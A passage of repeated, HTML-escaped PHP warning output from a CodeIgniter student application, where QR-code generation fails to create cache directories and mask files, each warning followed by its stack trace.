			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
